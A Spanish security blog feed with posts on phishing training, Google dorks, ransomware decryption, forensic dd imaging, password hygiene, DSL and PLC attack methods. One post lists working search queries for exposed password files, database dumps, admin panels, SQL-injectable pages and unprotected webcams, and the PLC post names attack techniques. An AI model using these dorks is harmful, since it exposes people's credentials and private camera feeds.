El video mensual de seguridad. Esta es cuando a los usuarios se les ofrecen videos cortos, que cada cubren un tema relacionado con mantener la red segura. Lo que no saben es que cuando van al baño y regresan, han pasado dos y medio videos, interrumpen preguntando y causan la fragmentación de la formación al resto del personal.
La prueba de phishing. Se selecciona a un grupo de usuarios de alto riesgo, y se les envía a un simulacro de ataque tipo phishing. Cuando finalizan, se les pide al personal que no logró ganar el entrenamiento, que lo lleven de nuevo... recursivamente hasta el fin de las eras. Recuerden, no todos saben caminar y mascar chicle al mismo tiempo.
El Cortafuegos Humano. Empodere al usuario, dele confianza de tomar decisiones para que encuentre la forma de visualizar (en su puesto de trabajo), la manera más simple de sacarle información. Se sorprenderán lo entusiasta e imaginativa que es la gente. Lo siguiente sería, entrenar on-line a todos sus usuarios para que aprendan a detectar cuales son los vectores más comunes de ataque, contra el trabajo que ellos mismos desarrollan. Calendarice durante todo el año ataques falsos y variados de phishing, -nada como escenarios en producción para mantener a la gente alerta-. Esto hace que desarrollen el "músculo mental" para reaccionar. Simple y altamente efectivo.

Nos vemos.

Dorks para buscar... de todo!

noreply@blogger.com (Randall Barnett) — Tue, 14 Jul 2015 19:11:00 +0000

Pura vida gente!

En algún momento se han hecho la pregunta: ¿Alguien buscará mi nombre en Internet? o ¿La cámara web de mi laptop estará espiándome sin que me de cuenta?

La verdad es que el espionaje sobre Internet es más común de lo que creen. No necesariamente es a usted al que están espiando (¿o si?), sin embargo, los ejemplos sobran (y los voyeristas también...).

Les comparto dos ejemplos de mal uso de la tecnología:

Cuenta en Twitter que expone la intimidad de miles de personas, por medio de cámaras TRENDnet sin proteger.
O el sitio Fisgonia, cuyo nombre lo dice todo.

¿Recuerdan el problema reportado en enero del 2012 por en el blog Console Cowboys? A ese me refiero. Ahí vienen los firmware de actualización de las cámaras, para evitar vulnerabilidades.

Y para hacerle la tarea de fisgonear en forma sencilla a la gente ~~enferma~~, es posible ingresar Pastebin y buscar "anony/mjpg.cgi".

Este otro sitio, que no fue creado con malas intensiones, y permite revisar cámaras públicas al rededor del mundo: World in Cams.

Si prefieres hacerlo tu mismo escribiendo comandos, voy a pasar a explicarles algunos dorks que pueden serles útiles, cuando hacen búsquedas sobre Internet:

cache:

Google resaltará aquellos contenidos de los documentos "cacheados".
uso:-->cache:www.google.com web

link:

Listará los sitios que contengan links que apunten al sitio o contenido que buscas.
uso:-->link:www.google.com

related:

Listará las páginas web que son similares a la página especificada.
uso:-->related:www.google.com

info:

Presentará información acerca del sitio web que estás buscando.
uso:-->info:www.google.com

define:

Proveerá una definición de las palabras que escribas, recogidas de varias fuentes en línea.

site:

Google restringirá los resultados de la búsqueda al dominio dado.
uso:-->help site:www.google.com

allintitle:

Google restringirá los resultados de la búsqueda a aquellos con las palabras específicas que buscas.
uso:-->allintitle: google search

intitle:

Google restringirá los resultados de la búsqueda a aquellos documentos que contienen las palabras a buscar en el título. Busca la palabra "google" en el título y la palabra "search" en el contenido del documento.
uso:-->intitle:google search

inurl:

Dork usado para encontrar texto dentro de una URL.
uso:-->inurl:google search

intext:

Dork usado para encontrar texto dentro de una URL y su descripción, como por ejemplo: welcome admin user name. Este ejemplo buscará cada para en el contenido y en la URL también.

inall:

Dork usado para encontrar texto. Es la combinación de los dos anteriores Dorks.

ext:

Dork usado para encontrar extensiones de archivos:
ext:ppt hacking - retornará presentaciones powerpoint (ppt) del tópico 'hacking'.
ext:doc hacking - retornará archivos de word (doc) del tópico 'hacking'.
Extensiones que google soporta buscar: pdf, swf, rtf, doc, ppt, dwf, ps, kml, kmz, xls.

Ejemplos

Archivos que podrían contener passwords:

filetype:sql insite:pass && user
ext:sql intext:@hotmail.com intext :password
filetype:sql inurl:wp-content/backup-*(Search for WordPress MySQL database backup.)
filetype:sql "phpmyAdmin SQL Dump" (pass|password|passwd|pwd)
inurl:ftp "password" filetype:xls
filetype:sql "PostgreSQL database dump" (pass|password|passwd|pwd)
filetype:ini "[FFFTP]" (pass|passwd|password|pwd)
filetype:ini "FtpInBackground" (pass|passwd|password|pwd)
filetype:ini "precurio" (pass|passwd|password|pwd)
filetype:ini "SavedPasswords" (pass|passwd|password|pwd)
filetype:ini "pdo_mysql" (pass|passwd|password|pwd)
inurl:config/databases.yml -trac -trunk -"Google Code" -source -repository "login: *" "password= *" filetype:xls
ext:php intext:"$dbms""$dbhost""$dbuser""$dbpasswd""$table_prefix""phpbb_installed"
filetype:sql "insert into" (pass|passwd|password)
inurl:"editor/list.asp" | inurl:"database_editor.asp" | inurl:"login.asa" "are set"
ext:yml database inurl:config
inurl:"Sites.dat"+"PASS="

Cómo encontrar upload paths:

inurl:.co.in & inurl:upload.php & intext:browse

Cómo encontrar sitios con posibles vulnerabilidades de sql injection:

intext:SQL syntax & inurl:index.php?=id

Archivos que contienen nombres de usuario:

filetype:conf inurl:proftpd.conf -sample
finding admin panel examples:
inurl:/admin/index.php & intext:/welcome admin user name pass
inurl:admin/login.asp
inurl:admin/login.php

Ejemplos de páneles de control inseguros:

inurl:.php? intext:CHARACTER_SETS, COLLATIONS, ?intitle:phpmyadmin
inurl:phpmyadmin/index.php

La siguiente lista de Google-Dorks es para revisar sistemas de vigilancia con IP's públicas.

Más allá de solamente revisar (voyerismo), recuerde que si está pensando en una solución de vigilancia estilo CCTV, configure bien sus accesos remotos.

Sin más preámbulo, los Dorks:

inurl:"ViewerFrame?Mode="
intitle:Axis 2400 video server
inurl:/view.shtml
intitle:"Live View / - AXIS" | inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:"live view" intitle:axis
intitle:liveapplet
allintitle:"Network Camera NetworkCamera"
intitle:axis intitle:"video server"
intitle:liveapplet inurl:LvAppl
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View / - AXIS"
intitle:"Live View / - AXIS 206M"
intitle:"Live View / - AXIS 206W"
intitle:"Live View / - AXIS 210"
inurl:indexFrame.shtml Axis
inurl:"MultiCameraFrame?Mode=Motion"
intitle:start inurl:cgistart
intitle:"WJ-NT104 Main Page"
intext:"MOBOTIX M1" intext:"Open Menu"
intext:"MOBOTIX M10" intext:"Open Menu"
intext:"MOBOTIX D10" intext:"Open Menu"
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:"sony network camera snc-p1"
intitle:"sony network camera snc-m1"
intitle:"Toshiba Network Camera" user login
intitle:"netcam live image"
intitle:"i-Catcher Console - Web Monitor"
intitle :flexwatch intext :"Copyright by Seyeon TECH Co"

Mucho cuidado y nos vemos! ;-)

Herramienta contra CoinVault

noreply@blogger.com (Randall Barnett) — Tue, 05 May 2015 15:39:00 +0000

La compañía rusa Kaspersky Lab ofrece una herramienta, que busca liberar de ransomeware los archivos de los usuarios en forma gratuita.

Se trata de un desarrollo hecho en conjunto con la Unidad Nacional contra Delitos de Alta Tecnología de la policía holandesa y que actúa específicamente contra el virus "CoinVault".

La herramienta fue creada en base a datos obtenidos por la policía holandesa, provenientes de un servidor de comando y control. Con eso, el equipo de Kaspersky pudo crear un repositorio especial de claves de descifrado que aún sigue creciendo, ya que la investigación sigue en curso.

Según datos entregados por Kaspersky, CoinVault ha afectado a más de mil equipos Windows en 20 países, especialmente en mercados como Países Bajos, Alemania, Estados Unidos, Francia y Reino Unido. En Latinoamérica se han registrado casos en Argentina, Panamá, República Dominicana y México.

Sin más preámbulo, acá la herramienta en línea: https://noransom.kaspersky.com/

De cuando el miedo me debía dinero.

noreply@blogger.com (Randall Barnett) — Mon, 16 Mar 2015 15:16:00 +0000

Esa construcción cultural de lo que llamamos: Miedo, y que "para quien tiene miedo, todo son ruidos", citando a Sófocles en un arranque neuronal, podríamos hacernos una temerosa pregunta (asumo que notaron el juego de palabras), ¿existe en realidad?

Racionalizando el punto, podemos definir que es una emoción primaria que se deriva de la aversión natural al riesgo o la amenaza, y que se manifiesta en todos los animales ¡incluyéndolo a usted! (no se vaya a enojar...), ¡incluyéndome! (ya estoy empezándome a caer mal), en fin...

Freud -que no tuve el conductual gusto de conocer-, aseguraba que existían dos tipos de miedo (típico, tenía que haber más de uno): el real y el neurótico. Es decir, uno inconsciente y otro aprendido.

Humildemente, pasaré a explicar décadas de estudios de muy conocidos "loqueros"... err, profesionales de nuestra psique. Es curioso, que esté definida como mitología, es decir, algo que no existe. Esto nos lleva a otra pregunta: ¿cómo se define aquella persona que estudia algo que no existe?... bien, bien, no nos desviemos!

La psique en psicología perdió su base metafísica y "se convierte así en la designación de todos los procesos y fenómenos que hacen la mente humana como una unidad." Me sigue gustando la otra definición etérea.

Ah sí! La explicación... perdón, son conductas aprendidas. Un chiste de neuróticos:

-Doctor, doctor, nadie me cree.

-Dígame la verdad ahora, ¿cuál es su verdadero problema?

Ahora, de forma magistral debo añadir, otro pero de miedo real:

En el fragor sangriento de la batalla el capitán gritaba a sus soldados:

-¡Adelante! ¿Quien manda aquí yo o el miedo?

Y un soldado, que no podía mas le contesto:

-¡¡El miedo señor!!

-¿Cómo que el miedo soldado?

-Claro! porque usted será muy capitán, ¡pero el miedo es general!

¡Los psicoanalistas saben que los neuróticos no les van a durar para siempre! La vida no es eterna (ese es uno de los motivos por los que los neuróticos son neuróticos), y además, a veces los neuróticos se trasmutan a otra especie, la de los psicóticos (neuróticus encabronadus), la de los sanos (neuróticus curatus) o la de los psicoanalistas (neuróticus profesionalis). Pero un buen neurótico puede durar más de 10 años en el diván, si se sabe (o si no se sabe) cómo tratarlo.

Pero ¿se acuerdan de la pregunta? (que dicha, porque tuve que devolverme para leerla de nuevo). Mi respuesta se basa en un principio informático universal: KISS (Keep It Simple Stupid!). Existe solamente en nuestra cabeza, la cual está toda embarrada de psique... que en un principio no existía! y que luego le dieron una definición que les tomó décadas hacer que la gente creyera.

Por esa razón Ichabod Crane huía del Jinete aterrorizado, lo mataba la incertidumbre, porque alguien sin cabeza no creo que lo pudiera ni siquiera, insultar.

El miedo es muy real, cuando está en nuestra cabeza, pero no fuera de ella. Por eso el Miedo me debe dinero. Tantas cosas sin hacer por miedo al Miedo...

Serie Forense: Copia local de dispositivo USB con Linux

noreply@blogger.com (Randall Barnett) — Sat, 10 Jan 2015 05:42:00 +0000

Pura vida gente!

Este es el primer post sobre Computación Forense de una serie que tengo planeado compartirles. Ya que ocuparemos la siguiente información en posteriores posts, haremos este tema primero.

Usando Kali Linux (luego veremos el ejemplo con Windows) y un USB pendrive realizaremos una copia bit-a-bit del contenido de este. Muy bien, una copia bit-a-bit (Bit-Stream copy) es la copia de un contenido digital donde cada bit de dicho contenido, es idéntico al bit correspondiente del original.

Lo anterior es uno de los pasos más comunes en ciertas investigaciones forenses. Por supuesto, hay muchísimos pasos previos, pero solo nos enfocaremos en este. Veamos:

Inserte el disco de arranque de Linux en el PC y haga boot del sistema. Podría también usar un PC que ya lo tenga instalado, pero lo ideal es que todo se ejecute en memoria volátil.
Conecte el dispositivo de almacenamiento USB, si no se monta automáticamente se requerirá montarlo manualmente. Supondremos que es /dev/sdb1 y se ha montado como /media/USB.
Busquen el contenido que desean copiar en el directorio /dev, en el ejemplo, el disco duro se llama sda con particiones sda1, sda2, etc.
Con el comando md5sum /dev/sda > /media/USB/ImagenMD5hash01.txt cree un hash MD5 de la unidad en el dispositivo USB montado, para verificar la integridad del medio original contra la copia al final del procedimiento. Este paso es uno de los más relevantes, ya que si hubo alguna alteración, no sería admisible como prueba legítima en un hipotético caso legal.
Ejecute el siguiente comando:

dd if =/dev/sda of =/media/usb/Imagen01.img

Lo anterior copiará el contenido del USB como un archivo en el HDD como Imagen01.img, recuerde que para Linux todo es un archivo.
Cree otro hash MD5 de la copia. Servirá para compararla con la original para verificar la integridad de la copia.
Haga más de una copia y un hash por cada copia. Es mejor prevenir y tener varias muestras.

El resultado deberían ser varias copias y varios hashes. Nunca trabaje sobre los datos originales! Para eso son las copias. En forensia existe la adquisición de datos manual, física y lógica (eso lo explicaré en otro post).

Es importante recalcar que el método anterior no explica nada si se encuentran problemas de por medio. Por ejemplo, si el PC no puede leer algunos de los sectores de la unidad que va a copiar, o si el archivo se debe dividir para que quepan en el CD, o si la imagen necesita partirse para que quepa en un dispositivo FAT32 y requiere archivos más pequeños de 2 GB.

Cuando se generan imágenes de una unidad que empieza a tener algunos sectores dañados, el siguiente comando se puede utilizar:

dd if=/dev/hda of=/media/USB conv=noerror,sync

Esto permitirá a dd continuar en los errores de lectura, y en la pista del destino donde se encuentren ceros es donde se han producido errores en la unidad de origen (por lo que su tamaño y compensaciones coincidirán). Si lo hace, es posible que desee considerar redirigir los errores estándar a un archivo, por lo que tiene un registro de dónde se encuentran sus errores.

Es posible dividir las imágenes creadas. El método más fácil es mediante el programa de división. La sintaxis del comando si usted tiene una imagen de 4GB para encajar en un CD sería:

dd if=/dev/hda | split –b 600m – /USB/sda/

Esto dividirá la imagen de salida en secciones de 620MB (-b 620m) en el directorio /USB/sda/. El nombre que les da a los fichero suele ser a* (* puede ser cualquier letra). Estos archivos pueden ser reformados en un archivo de imagen con el comando cat (## es un consecutivo).

cat a* > LaImagen##.img

A continuación, cree un hash del archivo usando md5sum y lo compare con el valor hash inicial.

md5sum LaImagen##.img

Alternativamente, si la división no está disponible puede utilizar dd por sí mismo, pero utiliza el skip, bs (tamaño de bloque) y el recuento interruptores para evitar que la lectura comience desde el principio.

dd if=dev/hda of=/media/USB/image1.img bs=1M count=600

dd if=dev/hda of=/media/USB/image2.img bs=1M count=600 skip= 601

dd if=dev/hda of=/media/USB/image3.img bs=1M count=600 skip= 1201

... y así hasta el final del archivo de entrada. Una vez en el sistema de destino y en el mismo directorio se puede juntar todos en una sola imagen con el siguiente comando:

cat /home/imagen * > TodoJunto.img

md5sum se puede ejecutar en esta imagen y se compara con el hash md5 original para comprobar la integridad.

Para ayudar a reducir el tamaño se puede utilizar gzip y split juntos. A continuación se muestra la sintaxis utilizada para realizar esto:

dd if =/dev/hda | gzip -c | split -b 2000m – /media/USB/imagen.img.gz.

dd se utiliza para tomar una imagen del disco duro. Esto es pasado al gzip (-c es la salida estándar). La imagen comprimida se canaliza entonces a la herramienta de división split, y continuación crea los archivos imagen.img.gzaa, imagen.img.gzab, etc. Para restaurar la copia de seguridad de varios archivos, ejecute el comando siguiente:

cat /USB/image.img.gz * | gzip -dc | dd of =/dev/hda

cat muestra el contenido del zip y archivos de imágenes divididas en stdout en orden. Los resultados se canalizan a través de gzip y se descomprimen. Y por útimo se escriben en el disco duro con el comando dd.

Bueno hay más comandos y formas de utilizar dd, pero creo que esto es suficiente para que investiguen más.

Nos vemos.

Tus contraseñas, asegúralas!

noreply@blogger.com (Randall Barnett) — Mon, 29 Dec 2014 18:48:00 +0000

Si, lo sé, ya existen cientos de blogs que lo recomiendan, pero aún así sigue siendo uno de los vectores más vulnerables a ataques.

Sobretodo en estos días de consumismo voráz on-line, deberías reconsiderar todas tus contraseñas. Si ya las has convertido a seguras, entonces lo que debes es tener un plan para renovarlas constantemente.

Puede ser cansado si, pero mira esta noticia reciente. Parece de esas malas películas que para ahorrar costos repiten una escena una y otra vez. Si la solución es tan sencilla, por qué es de los threads más comunes? Yo tengo una teoría: "Hoy en día la gente conoce el precio de todo y el valor de nada. -Oscar Wilde-"

Y bien, te lo resumo en cuatro sencillos pasos:

El primero, multiplicidad:

Asegúrese de tener una contraseña distinta para cada cuenta online importante que posea. Los cibercriminales pueden robar su usuario y contraseña de otro sitio, y luego usarlos para intentar iniciar sesión en muchos otros sitios en donde pudieras tener una cuenta.
Si usted utiliza la misma contraseña a lo largo de diferentes sitios, existe una mayor posibilidad de que ésta termine en una lista de contraseñas robadas, y mientras más cuentas tenga que usen esa contraseña, más información podrías perder si dicha contraseña fuera robada.
Darle a cada cuenta una contraseña fuerte y propia le ayuda a protegerse a sí mismo y a la información contenida en su cuenta. Empiece hoy mismo!

El segundo (si, el anterior era solo el primero), complejidad:

Contraseñas como “123456”, “password”, “hola123” son ejemplos de malas contraseñas por una sencilla razón: resultan fáciles de adivinar! Hacer que su contraseña sea extensa y más complicada hace que sea más difícil adivinarla, tanto para los malhechores, como para la gente que pueda conocerte.
Sabemos que es más fácil de decir que de hacer. Al fin y al cabo, la contraseña promedio contiene menos de 8 caracteres y sólo puede incluir letras. De hecho, sólo el 4% de las contraseñas incluyen caracteres ¨especiales” como @ o &, y sólo un poco más de la mitad utiliza números.
Una forma de crear contraseñas fuertes es pensar en una frase o enunciado que otras personas no conozcan y luego utilizarlo para generar su contraseña. Por ejemplo, en el caso de su email, podrías pensar en un mensaje personal como: “Todos los días me levanto y tomo dos chocolates antes de salir” y luego construir la contraseña con los números, los símbolos y las primeras letras de cada palabra para obtener algo como: “Tldml&t2c_ads” (de hecho, esa era mi clave).
Y recuerde que su película o canción favorita suele ser popular y que los cibercriminales también van al cine y escuchan música, además, cuentan con diccionarios de contraseñas comunes cuando intentan ingresar a su cuenta. La idea es que la contraseña sea algo que sólo usted conozca.

Tercero, ya casi termino, almacenamiento:

Las investigaciones muestran que la principal razón por la cual la gente reutiliza ciertas contraseñas a lo largo de múltiples servicios es el temor a olvidar tantas contraseñas. Sin embargo, si usted ha creado demasiadas contraseñas difíciles de recordar, está bien que las escriba. Sólo asegurese de mantenerlas en un lugar seguro donde no las pierda y adonde otros no puedan encontrarlas. Si prefiere manejar sus contraseñas digitalmente, una buena opción podría ser buscar un administrador de contraseñas confiable.
Chrome y muchos navegadores web cuentan con administradores de contraseñas gratuitos integrados; también existen muchas otras opciones independientes. Tómese el tiempo de revisar reseñas de distintos administradores de contraseñas para determinar cuál podría ser la mejor opción para sus necesidades.

Cuarto, recuperación:

¿Alguna vez se te ha olvidado una contraseña? Pues no eres la primera persona a la que le sucede… Establecer una opción de recuperación, como una dirección de correo o un número de teléfono alterno, ayuda a darle al proveedor del servicio otra forma de contactarle en caso de que algún día no pueda entrar a su cuenta. Tener un teléfono o dirección de correo de recuperación actualizada es la mejor forma de asegurarse de que podrá volver a ingresar a su cuenta rápidamente en el caso de que surgiera algún problema.
Tener una estrategia de seguridad en Internet optimizada no es garantía de seguridad, del mismo modo que mantener las puertas y ventanas de su casa cerradas tampoco garantiza que nadie pueda entrar nunca sin su consentimiento. Pero una contraseña bien construida logra que los accesos a sus cuentas sean más resistentes a un ataque casual de bajo nivel, que son los más habituales en Internet. Una gran parte de los intentos ilegales de hackear cuentas se hace a través de ataques de este tipo, en los que una contraseña es adivinada o robada para tener acceso a otras cuentas.

Como vieron no es nada del otro mundo. Hay recursos en Internet para probar contraseñas seguras, como el siguiente de la gente de Kaspersky Labs, pruébenlo.

Feliz año y pura vida gente!!!

¿Sabes lo qué es DSL o xDSL? Parte I

noreply@blogger.com (Randall Barnett) — Tue, 09 Dec 2014 19:51:00 +0000

Pura vida gente!

Luego de un tiempo de receso, les vuelvo a compartir un post más (en realidad varios de este tema). El tema va dirigido a aquellas personas con Internet en el hogar y que conocen poco o nada de cómo "mágicamente" les llega ese servicio a casa.

Empecemos por un concepto básico en telecomunicaciones, que mucha gente usa en su diario vivir, pero que pocos conocen a fondo, el DSL (xDSL) más conocido como ADSL.

Lo primero que deben saber es que no es una marca comercial. Mucha gente lo relaciona directamente con el aparato (hardware) que tienen en sus hogares o empresas para conectarse a Internet. El router (aparato lleno de luces... je je je vean este link explicativo si desean) es solamente el medio físico necesario para que el servicio xDSL se de.

Expuesto lo anterior, pasamos a los conceptos básicos:

El DSL (Digital Suscriber Line) lo conocemos como la Línea de Abonado Digital, que es una familia de tecnologías que proporcionan el acceso a Internet mediante la transmisión de datos digitales a través de los cables de una red telefónica local. Es un término utilizado para referirse de forma global a todas las tecnologías que proveen una conexión digital sobre línea de abonado de la red telefónica básica o conmutada, a esta familia pertenecen las líneas de abonado: ADSL, ADSL2, ADSL2+, SDSL, IDSL, HDSL, SHDSL, VDSL y VDSL2. El xDSL es un término genérico para la gran variedad de tecnologías pertenecientes a DSL, y cada una de estas tiene distintas características en cuanto a prestaciones (velocidad de la transmisión de datos por ejemplo) y distancia de la Central Telefónica (ya que el cable de cobre no estaba pensado para eso, a cuanta más distancia peores prestaciones).

Otro punto importante, que incluso los vendedores del servicio (ISP's) erran a la hora informar al usuario, es la llamada "velocidad de internet". El término como tal no existe, este se utiliza para identificar un comportamiento solamente. En informática y telecomunicaciones, el término tasa de bits (en inglés bit rate, a menudo tasa de transferencia) define el número de bits que se transmiten por unidad de tiempo a través de un sistema de transmisión digital o entre dos dispositivos digitales. Así pues, es la velocidad de transferencia de datos.

La unidad con que el Sistema Internacional de Unidades expresa el bit rate, es el bit por segundo (bit/s, b/s, bps). La b debe escribirse siempre en minúscula, para impedir la confusión con byte por segundo (B/s). Para convertir de bytes/s a bits/s, basta simplemente multiplicar por "8" y viceversa. Que la unidad utilizada sea el bit/s, no implica que no puedan utilizarse múltiplos del mismo:

kbit/s o kbps (kb/s, kilobit/s o mil bits por segundo)
Mbit/s o Mbps(Mb/s, Megabit/s o un millón de bits por segundo)
Gbit/s o Gbps (Gb/s, Gigabit, mil millones de bits)
byte/s (B/s u 8 bits por segundo)
kilobyte/s (kB/s, mil bytes u ocho mil bits por segundo)
megabyte/s (MB/s, un millón de bytes u 8 millones de bit por segundo)
gigabyte/s (GB/s, mil millones de bytes u 8 mil millones de bits)

Vean estas tasas de transferencia típicas de los accesos de conexión a Internet y su conversión de bit/s a B/s:

Módem RTB: 128 kbit/s = 16 kB/s (16 kilobytes por segundo)
ADSL: 64 Mbit/s = 8 MB/s (8 megabytes por segundo)
Cable: 30 Mbit/s = 3,75 MB/s (3,75 megabytes por segundo)
VSAT: 6 Mbit/s = 750 kB/s (750 kilobytes por segundo)
Telefonía móvil 3G: 3 Mbit/s = 375 kB/s (375 kilobytes por segundo)

Por ejemplo una de las velocidades ofrecidas (tomada de acá) por el Instituto Costarricense de Electricidad (ICE) es de: 6 Megas (6144/1024 Kbps). Ahora la pregunta, velocidad de qué? de internet? No. Veamos:

Han notado en algún momento esos dos numeritos encerrados en paréntesis? Son las tasas de subida y descarga de datos. Como ambas no suelen ser iguales en ADSL por ejemplo, se dice que el servicio es asimétrico. La velocidad de bits de los servicios del cliente DSL varía normalmente de 256 kbit/s hasta 40 Mbit/s en dirección hacia el cliente (flujo descendente de datos), dependiendo de la tecnología DSL, condiciones de la línea y la aplicación de nivel de servicio. En ADSL, el flujo ascendente de datos (la dirección hacia el proveedor de servicios o ISP) es más baja, por lo tanto, la designación de servicio es asimétrica. En los servicios de línea de abonado digital simétrica (SDSL), las tasas de datos de descendentes y ascendentes son iguales.
El punto aquí es que se utilizan diferentes frecuencias para la transmisión de datos. Si no sabes lo que frecuencia revisa el link que te compartí en este párrafo. Veamos las frecuencias (cuya unidad de medida son los Hertz -Hz-) usadas en ADSL.

El área roja es el área usada por la voz en telefonía normal, el área verde es el upstream o subida de datos y el área azul es para el downstream o descarga de datos.

El por qué de esa división de frecuencias en realidad es muy simple. En telecomunicaciones es muy importante separar el tráfico de datos por diferentes "carreteras" (canales en realidad), ya que así se evitan "choques" o interferencias entre los datos... esa explicación fue a muy grandes rasgos, créanme.

Como notarán el área azul es más ancha. En ADSL suele ser así porque se necesitan recursos disponibles diferentes para descargar que para transmitir datos. Actualmente, las empresas de telefonía están implantando versiones mejoradas de esta tecnología como ADSL2 y ADSL2+ con capacidad de suministro de televisión y video de alta calidad por el par telefónico, lo cual supone una dura competencia entre los operadores telefónicos y los de cable, y la aparición de ofertas integradas de voz, datos y televisión, a partir de una misma línea (llamado comúnmente Triple-Play). El uso de un mayor ancho de banda para estos servicios limita aún más la distancia a la que pueden funcionar, por el par de hilos.

ADSL2 y ADSL2+ incorporan mecanismos de modulación y gestión de los recursos físicos avanzados, de modo que no sólo aumentan la capacidad del ADSL convencional de 8 Mbit/s a 12 y 24 Mbit/s respectivamente, sino que introducen mejoras para evitar las interferencias o ruido y disminuir los efectos de la atenuación de ahí que se alcancen distancias de hasta 9 km.

Creo que hasta aquí es suficiente para la primera entrega. En el siguiente post veremos como funcionan las conexiones xDSL. Nos vemos!!

WireLurker, malware para Apple iOS

noreply@blogger.com (Randall Barnett) — Mon, 10 Nov 2014 19:58:00 +0000

Pura vida gente!

Un grupo de investigadores de PaloAlto Networks, llamada Unidad 42 ha descubierto recientemente una nueva familia de malware para Apple OSX y iOS llamado "WireLurker".

Las características de esta familia de malware, incluyendo su capacidad de infectar incluso dispositivos iOS sin "jailbreak" a través de aplicaciones de OS X troyanizadas, sugieren que marca una nueva era en el malware a través de escritorio de Apple y las plataformas móviles.

Esta vez Apple ha actuado rápidamente para bloquear las aplicaciones de los responsables, que lo han propagado desde una tienda de aplicaciones para Mac de China. Concretamente, estaba siendo propagado desde la tienda de aplicaciones para ordenadores de Apple, Maiyadi. Esto sucedía al conectar un iPad o un iPhone al ordenador troyanizado. En donde al llegar a ese punto, el virus robaba los datos de los dispositivos infectados.

La compañía de Cupertino ha identificado un total de 467 aplicaciones infectadas con el malware 'WireLurker, que habían sido descargadas más de 356.000 veces... 0_o

¿Cómo funciona?

WireLurker controla cualquier dispositivo iOS conectado vía USB a un ordenador OS X infectado, instalando aplicaciones de terceros o genera sus propias aplicaciones maliciosas automáticamente en el dispositivo, con o sin "jailbreak". Esta es la razón por la que lo llaman "wire lurker".

Los investigadores han demostrado métodos similares para atacar a los dispositivos con "jailbreak" antes, sin embargo, este malware combina una serie de técnicas para realizar con éxito un nuevo tipo de amenaza para todos los dispositivos iOS. WireLurker exhibe una estructura compleja de código, varias versiones de componentes, archivos ocultos, código ofuscado y encripción personalizado para frustrar el anti-reversing.

Recomendaciones

Estos son algunos consejos para mitigar la amenaza de WireLurker y amenazas similares:

Emplear un producto de antivirus o de seguridad para el sistema Mac OS X y mantener sus firmas actualizadas.
En el panel de Preferencias del Sistema de OS X, en "Security & Privacy" asegurese de que "Allow apps downloaded from Mac App Store (or Mac App Store and identified developers)" está activado.
No descargar y ejecutar aplicaciones para Mac o juegos de cualquier tienda de aplicaciones de terceros, torrents o de otra fuente no confiable.
Mantenga la versión de iOS en su dispositivo hasta al día.
No acepte ningún archivo de aprovisionamiento empresarial a menos que tenga una autorización para recibirlo.
No vincule el dispositivo iOS con los ordenadores o dispositivos que no son de confianza o desconocidos.
Evite encender su dispositivo iOS a través de los cargadores no confiables o desconocidos.
Del mismo modo, evite la conexión de dispositivos iOS con los accesorios que no son de confianza o desconocidos (Mac o PC).
No use "jailbreak"; en caso contrario, utilice accesos de la comunidad de Cydia confiables y evite el uso o almacenamiento de la información personal en el dispositivo.

Acceda a la herramienta para detectar la familia de malware WireLurker en OS X, liberada en GitHub.

Nos vemos.

Vulnerabilidades en Controladores Lógico-Programables (PLC)

noreply@blogger.com (Randall Barnett) — Tue, 04 Nov 2014 16:57:00 +0000

Pura vida gente!

El post de hoy, continúa el tema industrial que comenzamos con el tema de los antivirus hace unos días atrás.

Según la IEEE, en su normativa respecto a subestaciones de distribución de energía eléctrica, pero aplicable al resto de sistemas de automatización, la intrusión electrónica se define como la entrada en una subestación por vía electrónica (teléfono, radio, etc.) para manipular o interferir el equipamiento electrónico tales como controladores, autómatas, etc.

En el momento en que un sistema de control presenta la posibilidad de ser accedido de forma remota, su área de riesgo crece en forma alarmante. Cualquier punto de conexión es susceptible de ser utilizado por personas con aviesas intenciones.

Ejemplo de ello son los PLC. Cuando se dieron los ataques de Stuxnet , este reemplazaba comandos legítimos del software Siemens Simatic Step7 al PLC (uno tipo de dispositivo de los que se componen los sistemas SCADA). Además, había que tener en cuenta que los PLCs no son configurables para restringir su acceso a determinadas direcciones IP y, aunque el PLC sea configurado para aceptar únicamente paquetes autenticados, la medida de seguridad se puede deshabilitar mediante ataques de repetición.

Hay varias técnicas de penetración y varios tipos de remediación a dichas técnicas, pero van a depender del escenario, componentes que se deseen vulnerar y las interfaces que los PLC tengan. La siguiente es una lista de posibles metodologías y técnicas de ataque utilizadas contra sistemas de control y automatización:

Análisis de vectores de ataque habituales (activo/pasivo), enumeración de vulnerabilidades, explotación de puertos disponibles y escalado de privilegios, harvesting, puertas traseras, copias de seguridad, eliminación del rastro/evidencias.
Salto entre segmentos de red para alcanzar los objetivos de un sistema de control y automatización.
Se recomiendan las siguientes técnicas de Pentest:

Labores de inteligencia para dar con datos sobre protocolos usados y así vectorizar lenguajes de programación para inyección de scripts: Whois, Samspade, Maltego, Google hacking, Shodan.
Ataques DNS en el caso de los sistemas bados en PC: DNS lookup, Netblock, transferencia de zona.
Ataques en comunicaciones basadas en Ethernet/IP: ARP spoofing, IP spoofing, SYN flood, ICMP flood, Pinf of Death, etc.
Ataques contra equipamiento de red periférico: STP spoofing, VLAN hopping, FW bypass, port knocking, fragmentación, etc.
De los más importantes están los ataques a bajo nivel en infraestructuras de comunicaciones cableadas: PLC, PRIME; RS/232, RS/422, RS/485; MPLS, etc.
Ataques en comunicaciones inalámbricas: Zigbee/IEC 802.15.4, Wifi/IEC 802.11. Por ejemplo ataques a PLC's marca Wireless Wire SW 1008. Pueden probar unos jammers geniales para wifi como el WB12.
Ataques a nivel de aplicación: bypassing, desbordamientos de buffer, inyecciones de código, ataques CGI, RFI, etc.
Ataques dirigidos y automatización de ataques: suite metasploit, autoPWN, Fast-Track, aspectos básicos de la creación de exploits basados en lenguajes como Ladder.

Otros aspectos básicos, como los pasos más comunes a seguir una vez que se ha alcanzado el acceso al PLC son (no necesariamente en ese orden):

Denegación de servicio en comunicaciones serie.
Captura, modificación e inyección de tráfico Modbus serie.
Captura y análisis de protocolo Modbus/TCP.
Captura, modificación e inyección de tráfico Zigbee.
